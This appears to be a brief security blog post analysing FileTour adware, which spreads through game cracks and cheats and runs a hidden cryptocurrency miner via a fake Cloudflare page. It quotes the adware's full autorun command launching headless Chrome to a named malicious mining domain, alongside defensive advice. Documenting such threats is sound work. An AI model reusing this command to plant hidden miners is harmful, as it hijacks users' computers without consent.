FileTour is an adware that spreads through various cracks and cheats for games and other programs. When installed, it creates an autorun that runs as soon as a user logs on to Windows. The autorun contains the following command:
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe” –headless –disable-gpu –remote-debugging-port=9222 https://de-mi-nis-ner2.info/cdn-41.html?t=0.4
This command runs a Chrome window without a graphical interface - practically invisible - and automatically connects to the link above.
When the browser opens the page, it executes the embedded code, which is essentially a cryptocurrency miner. While the code is running, processor usage goes up to 70-80% even if the window is “invisible”.
As we understand, with the use of an “invisible” program, many will not realize that their system has been affected. Although the system will seem slower than usual and some may check the Task Manager for running processes, most users will continue to run the program for several days without suspecting anything.
While many people will not pay any attention to this particular page in the browser, we took a look. What we found is that the page in question pretends to be the well-known company Cloudflare, which, among other things, provides anti-DDos services by certifying whether the visitor is a human or a robot.
Although the page looks like the real Clouflare service, the checkbox doesn't work. Furthermore, the page's source code clearly shows the FileTour mining script being loaded into the page, which Clouflare wouldn't do.
Unauthorized cryptocurrency mining is now a serious problem, and it is getting worse. For this reason, it is recommended to use an antivirus that detects if a browser is connecting to known mining services. Of course, this cannot guarantee 100% security as new services appear day by day.
For further security, it is recommended to use an adblock add-on which will block all such services within the browser.
